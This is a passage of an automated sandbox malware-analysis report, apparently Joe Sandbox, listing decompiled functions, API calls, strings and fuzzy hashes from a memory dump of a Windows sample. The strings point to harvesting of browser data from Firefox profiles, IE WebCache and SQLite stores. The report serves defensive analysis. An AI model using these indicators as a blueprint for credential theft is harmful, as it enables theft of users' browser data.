                                                                                                                                                                  • memcpy.MSVCRT(?,00000000,0000121C), ref: 004033D0
                                                                                                                                                                  • wcscmp.MSVCRT ref: 004033FC
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00403439
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$_wcsicmpfreememcpywcscmpwcsrchr
                                                                                                                                                                  • String ID: $0.@
                                                                                                                                                                  • API String ID: 2758756878-1896041820
                                                                                                                                                                  • Opcode ID: f66ff37cfebf4588bd42dffc34473b3fc2588101413319c72ad25ea5b69c0f44
                                                                                                                                                                  • Instruction ID: ab192eb15c9642abc1a13bae453f9d52c7669558764b377fc560e22e349fc473
                                                                                                                                                                  • Opcode Fuzzy Hash: f66ff37cfebf4588bd42dffc34473b3fc2588101413319c72ad25ea5b69c0f44
                                                                                                                                                                  • Instruction Fuzzy Hash: 6B414A71A0C3819BD770EF65C885A8BB7E8AF86314F004D2FE48C97681DB3899458B5B
                                                                                                                                                                  Function 004449B9 Relevance: 10.6, APIs: 7, Instructions: 61libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                                                    • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104,?,?,?), ref: 0040A841
                                                                                                                                                                    • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                                                    • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000,00000065,?), ref: 004449E7
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 004449F8
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A09
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A1A
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A2B
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A3C
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,00000000), ref: 00444A4D
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressProc$LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2941347001-0
                                                                                                                                                                  • Opcode ID: bd79a38ac81ee839f20597c7d918221762469afc0d44ed5819b9b85eb8c9be78
                                                                                                                                                                  • Instruction ID: 45112ec7679d7541be2eaee67b01953ccf91f0241e5cd71b41190719d78dca83
                                                                                                                                                                  • Opcode Fuzzy Hash: bd79a38ac81ee839f20597c7d918221762469afc0d44ed5819b9b85eb8c9be78
                                                                                                                                                                  • Instruction Fuzzy Hash: 2E115871840700EDEA207F72DD0FF2B7AA5EF40B14F10882EF555594E1EBB6A8119E9C
                                                                                                                                                                  Function 00404363 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040440C: FreeLibrary.KERNEL32(?,0040436D,00000000,00000000,?,0040BDCC,?,00000000,?), ref: 00404414
                                                                                                                                                                    • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                                                    • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104,?,?,?), ref: 0040A841
                                                                                                                                                                    • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                                                    • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                                                                                                  • GetProcAddress.KERNEL32(?,00000000,00000000,00000000,?,0040BDCC,?,00000000,?), ref: 00404398
                                                                                                                                                                  • GetProcAddress.KERNEL32(?,00000000,?,0040BDCC,?,00000000,?), ref: 004043AC
                                                                                                                                                                  • GetProcAddress.KERNEL32(?,00000000,?,0040BDCC,?,00000000,?), ref: 004043BF
                                                                                                                                                                  • GetProcAddress.KERNEL32(?,00000000,?,0040BDCC,?,00000000,?), ref: 004043D3
                                                                                                                                                                  • GetProcAddress.KERNEL32(?,00000000,?,0040BDCC,?,00000000,?), ref: 004043E7
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressProc$Library$Load$DirectoryFreeSystemmemsetwcscatwcscpy
                                                                                                                                                                  • String ID: advapi32.dll
                                                                                                                                                                  • API String ID: 2012295524-4050573280
                                                                                                                                                                  • Opcode ID: 4ec369c76c53d9d8d6299e0294e7621cc29ddf3fcf69dbd982a4794b684d00a1
                                                                                                                                                                  • Instruction ID: 6b6c0a27b71384d3bff991c3c7ca7c9b0301c8735f49a3ee57333cb8f9a5f734
                                                                                                                                                                  • Opcode Fuzzy Hash: 4ec369c76c53d9d8d6299e0294e7621cc29ddf3fcf69dbd982a4794b684d00a1
                                                                                                                                                                  • Instruction Fuzzy Hash: 5F119470440700DDE6307F62EC0AF2777A4DF80714F104A3FE541565E1DBB8A8519AAD
                                                                                                                                                                  Function 00403BED Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 57COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00403C09
                                                                                                                                                                  • memset.MSVCRT ref: 00403C1E
                                                                                                                                                                    • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                                                                                                    • Part of subcall function 00409719: wcslen.MSVCRT ref: 0040971A
                                                                                                                                                                    • Part of subcall function 00409719: wcscat.MSVCRT ref: 00409732
                                                                                                                                                                  • wcscat.MSVCRT ref: 00403C47
                                                                                                                                                                    • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                                                                                                                                                                    • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                                                                    • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                                                                                                                                                                  • wcscat.MSVCRT ref: 00403C70
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memsetwcscat$CloseFolderPathSpecialwcscpywcslen
                                                                                                                                                                  • String ID: Mozilla\Firefox\Profiles$Mozilla\Profiles
                                                                                                                                                                  • API String ID: 1534475566-1174173950
                                                                                                                                                                  • Opcode ID: 5af024c53119846c6cf23d5d39710aba0b9f01952ad673d04fbaa3fd9d46c714
                                                                                                                                                                  • Instruction ID: 5219a381a5be6f9fff484f4b9c8ff18b49dc44b18064e24db21ac924a7a96902
                                                                                                                                                                  • Opcode Fuzzy Hash: 5af024c53119846c6cf23d5d39710aba0b9f01952ad673d04fbaa3fd9d46c714
                                                                                                                                                                  • Instruction Fuzzy Hash: 4401A9B294032C76DB207B669C86ECF672C9F45358F01447FB504B7182D9785E844AA9
                                                                                                                                                                  Function 0040A804 Relevance: 9.0, APIs: 6, Instructions: 40libraryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 669240632-0
                                                                                                                                                                  • Opcode ID: 82c8cf326d92d3b179650df20de3df9a559229a48382c0fcbe0adb46b34a8860
                                                                                                                                                                  • Instruction ID: 21688b76284891f368be2c5f4feed5723597baa153f24eadc702144372ba9d0b
                                                                                                                                                                  • Opcode Fuzzy Hash: 82c8cf326d92d3b179650df20de3df9a559229a48382c0fcbe0adb46b34a8860
                                                                                                                                                                  • Instruction Fuzzy Hash: A6F0A472D0022467DF207B65AC46B8A3B6CBF01754F008072F908B71D2EB789A55CFDA
                                                                                                                                                                  Function 00414C2E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 77registryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00414B81: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW,00414C40,?,00000000), ref: 00414BA4
                                                                                                                                                                  • SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                                                                                                  • memset.MSVCRT ref: 00414C87
                                                                                                                                                                  • RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                                                                                                                                                                  • wcscpy.MSVCRT ref: 00414CFC
                                                                                                                                                                    • Part of subcall function 00409CEA: GetVersionExW.KERNEL32(0045D340,0000001A,00414C4F,?,00000000), ref: 00409D04
                                                                                                                                                                  Strings
                                                                                                                                                                  • Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 00414CA2, 00414CB2
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressCloseFolderPathProcSpecialVersionmemsetwcscpy
                                                                                                                                                                  • String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
                                                                                                                                                                  • API String ID: 71295984-2036018995
                                                                                                                                                                  • Opcode ID: e6b24c1e526a7e6b175339e46d2c1329f14507f19ad0c7641bd2f64e2867ccb0
                                                                                                                                                                  • Instruction ID: cfba8ba70a3d5c5eb0df7add68d4968905301debfffe1ddd107e81ced3c7690c
                                                                                                                                                                  • Opcode Fuzzy Hash: e6b24c1e526a7e6b175339e46d2c1329f14507f19ad0c7641bd2f64e2867ccb0
                                                                                                                                                                  • Instruction Fuzzy Hash: EE110B31802224ABDB24A7999C4E9EF736CDBD1315F2200A7F80562151F6685EC5C6DE
                                                                                                                                                                  Function 0041443E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • wcschr.MSVCRT ref: 00414458
                                                                                                                                                                  • _snwprintf.MSVCRT ref: 0041447D
                                                                                                                                                                  • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 0041449B
                                                                                                                                                                  • GetPrivateProfileStringW.KERNEL32(?,?,?,?,?,?), ref: 004144B3
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: PrivateProfileString$Write_snwprintfwcschr
                                                                                                                                                                  • String ID: "%s"
                                                                                                                                                                  • API String ID: 1343145685-3297466227
                                                                                                                                                                  • Opcode ID: 946b4c1fd7f9a1c82d4bd3564eada2d63785a77446bf9af388738d4a416c1506
                                                                                                                                                                  • Instruction ID: 05c1b6e2b8d8aed92df8b5d38884bf02313f678dea9e3ece4dcd1a0b753c0483
                                                                                                                                                                  • Opcode Fuzzy Hash: 946b4c1fd7f9a1c82d4bd3564eada2d63785a77446bf9af388738d4a416c1506
                                                                                                                                                                  • Instruction Fuzzy Hash: 7201AD3240421ABBEF219F81DC09FDB3F6AFF09305F14806ABA08501A1D339C5A5EB58
                                                                                                                                                                  Function 00413CA4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloadertimeCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetModuleHandleW.KERNEL32(kernel32.dll,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CB5
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,GetProcessTimes,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CCF
                                                                                                                                                                  • GetProcessTimes.KERNELBASE(00000000,?,?,?,?,?,00413EA2,?,?,?,?,?,00000000,?), ref: 00413CF2
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: AddressHandleModuleProcProcessTimes
                                                                                                                                                                  • String ID: GetProcessTimes$kernel32.dll
                                                                                                                                                                  • API String ID: 1714573020-3385500049
                                                                                                                                                                  • Opcode ID: 3d2a63fc8b7889f90c1cc675bbb66959c3424aca663c91e440c9d47c6094dacc
                                                                                                                                                                  • Instruction ID: 0a9fc9a7fb2a98cd878f934f387e3824ef844cc6c25aa3dbb33b58617c33e237
                                                                                                                                                                  • Opcode Fuzzy Hash: 3d2a63fc8b7889f90c1cc675bbb66959c3424aca663c91e440c9d47c6094dacc
                                                                                                                                                                  • Instruction Fuzzy Hash: F5F03036204309AFEF008FA6FD06B963BA8BB04742F044066FA0CD1561D7B5D6B0EF99
                                                                                                                                                                  Function 004087B3 Relevance: 7.7, APIs: 6, Instructions: 190COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 004087D6
                                                                                                                                                                    • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                                                                                                                                                                    • Part of subcall function 004095D9: memset.MSVCRT ref: 004095FC
                                                                                                                                                                  • memset.MSVCRT ref: 00408828
                                                                                                                                                                  • memset.MSVCRT ref: 00408840
                                                                                                                                                                  • memset.MSVCRT ref: 00408858
                                                                                                                                                                  • memset.MSVCRT ref: 00408870
                                                                                                                                                                  • memset.MSVCRT ref: 00408888
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                    • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$wcslen$AttributesByteCharFileMultiWidewcscatwcscpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2911713577-0
                                                                                                                                                                  • Opcode ID: 01acc2a10158501d086df2ecf85720ba35c535a6b148720ad12018c66e71fd5d
                                                                                                                                                                  • Instruction ID: a7e5ca25de4111a2a05fe91eb9e7b9268c7acadad77a1a504b595fc773a76dc1
                                                                                                                                                                  • Opcode Fuzzy Hash: 01acc2a10158501d086df2ecf85720ba35c535a6b148720ad12018c66e71fd5d
                                                                                                                                                                  • Instruction Fuzzy Hash: BD5146B280011D7EEB50E751DC46EEF776CDF05318F0040BEB948B6182EA745F948BA9
                                                                                                                                                                  Function 0041F1A5 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 165COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memcmp
                                                                                                                                                                  • String ID: @ $SQLite format 3
                                                                                                                                                                  • API String ID: 1475443563-3708268960
                                                                                                                                                                  • Opcode ID: 82854fe69cd6f085c01fb16587ca6c24c159481fbb1fdb23c3f30c43337b22d0
                                                                                                                                                                  • Instruction ID: a5e199d7c3355b23248e204991ed7883f9cb1cefd3641e4a8180bf992d12f390
                                                                                                                                                                  • Opcode Fuzzy Hash: 82854fe69cd6f085c01fb16587ca6c24c159481fbb1fdb23c3f30c43337b22d0
                                                                                                                                                                  • Instruction Fuzzy Hash: 9051C1719002199BDF10DFA9C4817DEB7F4AF44314F1541AAEC14EB246E778EA8ACB88
                                                                                                                                                                  Function 004110DC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _wcsicmpqsort
                                                                                                                                                                  • String ID: /nosort$/sort
                                                                                                                                                                  • API String ID: 1579243037-1578091866
                                                                                                                                                                  • Opcode ID: 82532bcf7625f57df0476c9ea77f38d24af0b860564a5aebd85b14b7cf50dee8
                                                                                                                                                                  • Instruction ID: 59a4a6edbc2c6816dd96362f3638b70d105e8990563e463c72bda517b6347aa4
                                                                                                                                                                  • Opcode Fuzzy Hash: 82532bcf7625f57df0476c9ea77f38d24af0b860564a5aebd85b14b7cf50dee8
                                                                                                                                                                  • Instruction Fuzzy Hash: C8213770700201AFD714FB36C880E96F3AAFF58314F11012EE61897692DB39BC918B4A
                                                                                                                                                                  Function 0040E5ED Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 61COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0040E60F
                                                                                                                                                                  • memset.MSVCRT ref: 0040E629
                                                                                                                                                                    • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                    • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                  Strings
                                                                                                                                                                  • Microsoft\Windows\WebCache\WebCacheV01.dat, xrefs: 0040E647
                                                                                                                                                                  • Microsoft\Windows\WebCache\WebCacheV24.dat, xrefs: 0040E66F
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memsetwcslen$AttributesFileFolderPathSpecialwcscatwcscpy
                                                                                                                                                                  • String ID: Microsoft\Windows\WebCache\WebCacheV01.dat$Microsoft\Windows\WebCache\WebCacheV24.dat
                                                                                                                                                                  • API String ID: 2887208581-2114579845
                                                                                                                                                                  • Opcode ID: 74f633d4b8b79b581db03fb52a9a183d925aa75474fb6f674f7548ec87be104c
                                                                                                                                                                  • Instruction ID: 2f29c334d396001d9fe1cebc89c879271eb53039ccc8e03d5a3365d75131e7c5
                                                                                                                                                                  • Opcode Fuzzy Hash: 74f633d4b8b79b581db03fb52a9a183d925aa75474fb6f674f7548ec87be104c
                                                                                                                                                                  • Instruction Fuzzy Hash: 66118AB3D4012C66EB10E755EC85FDB73ACAF14319F1408B7B904F11C2E6B89F984998
                                                                                                                                                                  Function 004148B6 Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • FindResourceW.KERNEL32(?,?,?), ref: 004148C3
                                                                                                                                                                  • SizeofResource.KERNEL32(?,00000000), ref: 004148D4
                                                                                                                                                                  • LoadResource.KERNEL32(?,00000000), ref: 004148E4
                                                                                                                                                                  • LockResource.KERNEL32(00000000), ref: 004148EF
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Resource$FindLoadLockSizeof
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3473537107-0
                                                                                                                                                                  • Opcode ID: 6eac18842e5c85fe8f5858b83388748d76eef83a8f56414f10f835c55d74c1c4
                                                                                                                                                                  • Instruction ID: 8a72e2f5d7590eb6bb033c3ed88c96ec9d5eb8bcd973c23d1c6560583cb0a60d
                                                                                                                                                                  • Opcode Fuzzy Hash: 6eac18842e5c85fe8f5858b83388748d76eef83a8f56414f10f835c55d74c1c4
                                                                                                                                                                  • Instruction Fuzzy Hash: 0101D2727402156B8B294FB6DD4999BBFAEFFC6391308803AF809D6331DA31C851C688
                                                                                                                                                                  Function 0044DEF7 Relevance: 6.0, APIs: 4, Instructions: 25COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??3@
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 613200358-0
                                                                                                                                                                  • Opcode ID: 51118905c2728d810469e0c59db0571482045495d4d228400e43909190034b47
                                                                                                                                                                  • Instruction ID: aa45652f999bbb0892b85dcd7393972dd4dfe4e89c7b59a5f1a68188070d07e1
                                                                                                                                                                  • Opcode Fuzzy Hash: 51118905c2728d810469e0c59db0571482045495d4d228400e43909190034b47
                                                                                                                                                                  • Instruction Fuzzy Hash: 5EE08C60F0830052BA31EBBABD40E2723EC5E1AB4271A842FB905C3282CE2CC880C02D
                                                                                                                                                                  Function 0043A9F6 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 979COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  • only a single result allowed for a SELECT that is part of an expression, xrefs: 0043AAD3
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset
                                                                                                                                                                  • String ID: only a single result allowed for a SELECT that is part of an expression
                                                                                                                                                                  • API String ID: 2221118986-1725073988
                                                                                                                                                                  • Opcode ID: f2ccd9f22684a9d505166f2bd917588c88a2d89474e41d8808a21707a3bb0a12
                                                                                                                                                                  • Instruction ID: 0c5fbdb45af1b87466ede92b40025f4dfba1e1eb7e0419b48c64bc8603b8f36f
                                                                                                                                                                  • Opcode Fuzzy Hash: f2ccd9f22684a9d505166f2bd917588c88a2d89474e41d8808a21707a3bb0a12
                                                                                                                                                                  • Instruction Fuzzy Hash: 5D827A71608340AFD720DF15C881B1BBBE1FF88318F14491EFA9987262D779E954CB96
                                                                                                                                                                  Function 00414B81 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 13libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                                                    • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104,?,?,?), ref: 0040A841
                                                                                                                                                                    • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                                                    • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW,00414C40,?,00000000), ref: 00414BA4
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: LibraryLoad$AddressDirectoryProcSystemmemsetwcscatwcscpy
                                                                                                                                                                  • String ID: SHGetSpecialFolderPathW$shell32.dll
                                                                                                                                                                  • API String ID: 2773794195-880857682
                                                                                                                                                                  • Opcode ID: 97e3436b7678629204c95b3b1f0e86467fe5b848d0a0c87f8b2ef990139e8914
                                                                                                                                                                  • Instruction ID: 520684b8054713cb13715c6c8af1848dbb459e29e8538d47b3508bbaa4bbc045
                                                                                                                                                                  • Opcode Fuzzy Hash: 97e3436b7678629204c95b3b1f0e86467fe5b848d0a0c87f8b2ef990139e8914
                                                                                                                                                                  • Instruction Fuzzy Hash: 23D0C7719483019DD7105F65AC19B8336545B50307F204077AC04E66D7EA7CC4C49E1D
                                                                                                                                                                  Function 0040D092 Relevance: 5.1, APIs: 4, Instructions: 51COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??2@
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1033339047-0
                                                                                                                                                                  • Opcode ID: bb5a2cedd882201272bd117211a6380788fbbee7b2a1ea69d9384cb42441e8af
                                                                                                                                                                  • Instruction ID: 5f4fc1bc6a90e200713bb7744dd8ab6a017b0cf4e98027731d5581fdeff4b0c3
